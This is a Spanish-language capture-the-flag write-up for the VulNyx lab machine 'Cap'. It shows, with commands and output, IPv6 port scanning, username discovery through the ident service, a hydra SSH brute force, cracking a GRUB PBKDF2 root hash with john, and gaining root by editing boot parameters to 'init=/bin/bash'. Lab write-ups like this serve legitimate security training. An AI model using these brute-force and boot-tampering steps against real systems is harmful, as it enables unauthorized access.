VulNyx - Cap
- User Enumeration - Ident
- Brute Force SSH
- Password Leaking - Grub.cfg
- Brute Force PBKDF2-SHA512
- Privesc From Grub
Escaneo de puertos
❯ nmap -p- -T5 -n -v 192.168.1.64
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Escaneo de servicios
❯ nmap -sVC -v -p 22,80 192.168.1.64
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey:
| 3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
| 256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_ 256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
HTTP TCP - 80
Lanzo ping6 para enumerar por IPv6
ya que con IPv4
no he encontrado nada.
❯ ping6 -c2 -n -I eth0 ff02::1
PING ff02::1(ff02::1) from :: eth0: 56 data bytes
64 bytes from fe80::a00:27ff:fe0f:3f36%eth0: icmp_seq=1 ttl=64 time=0.560 ms
Escaneo de puertos IPv6
❯ nmap -6 -Pn -p- -v -T5 fe80::a00:27ff:fe0f:3f36%eth0
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
113/tcp open ident
Escaneo de servicios IPv6
❯ nmap -6 -sVC -v -p 80,22,113 fe80::a00:27ff:fe0f:3f36%eth0
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp open http Apache httpd 2.4.56 ((Debian))
113/tcp open ident?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| address-info:
| IPv6 EUI-64:
| MAC address:
| address: 08:00:27:0f:3f:36
|_ manuf: Oracle VirtualBox virtual NIC
Al quedarme atascado durante mucho tiempo pido ayuda al sr d4t4s3c. Abro wireshark y filtro por el puerto TCP
y UDP
del servicio ident.
tcp.port == 113 or udp.port == 113
Con ncat me conecto al puerto 113, una vez conectado puedo ver en wireshark el puerto de destino 50154, si escribo 113,50154 obtengo el nombre de usuario.
Realizo fuerza bruta al usuario lucas para obtener su contraseña.
hydra -V -t 10 -l lucas -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.64 -f -I
[22][ssh] host: 192.168.1.64 login: lucas password: c*******n
Me conecto al sistema por IPv6
.
❯ ssh -6 lucas@fe80::a00:27ff:fe0f:3f36%eth0
lucas@fe80::a00:27ff:fe0f:3f36%eth0's password:
lucas@cap:~$
Enumero permisos de sudo.
lucas@cap:~$ sudo -l
Matching Defaults entries for lucas on cap:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User lucas may run the following commands on cap:
(root) NOPASSWD: /usr/sbin/reboot
De nuevo atascado pido ayuda al sr d4t4s3c que amablemente me recomienda buscar archivos de lectura.
lucas@cap:~$ find /boot -readable -exec ls -l {} \; 2>/dev/null
-rw-r--r-- 1 root root 8062 ago 5 19:41 /boot/grub/grub.cfg
Encuentro el archivo grub.cfg
en su interior el hash de root.
Copio el hash y lo crackeo con john.
❯ john hash_grub --wordlist=/usr/share/wordlists/rockyou.txt --format=PBKDF2-HMAC-SHA512
Using default input encoding: UTF-8
Loaded 1 password hash (PBKDF2-HMAC-SHA512, GRUB2 / OS X 10.8+ [PBKDF2-SHA512 128/128 SSE2 2x])
Cost 1 (iteration count) is 10000 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for s
s******s (?)
Reinicio la máquina usando el binario reboot.
lucas@cap:~$ sudo /usr/sbin/reboot
Pulso E para entrar en el modo edición del grub.
Introduzco las credenciales.
Con las flechas me voy al final del archivo y cambio ro quiet
por rw init=/bin/bash
.
Al terminar pulso F10
para arrancar el sistema como usuario root.
Una vez dentro ya puedo leer la flag y ya estaría la máquina rooteada.
Personalmente me gusta tener una shell de root como linux manda y no esta terminal que es un poco ortopédica. Existen varias formas tener una terminal funcional, yo he usado el método de cambiar la contraseña de root.
Reinicio la máquina victima:
- Me conecto de nuevo por ssh con el usuario lucas.
- Desde lucas me conecto como usuario root usando la contraseña que cambié desde el grub.
lucas@cap:~$ su root
Contraseña:
root@cap:/home/lucas# cd
root@cap:~# id
uid=0(root) gid=0(root) grupos=0(root)
Y con esto ya tenemos resuelta la máquina Cap.
Saludos!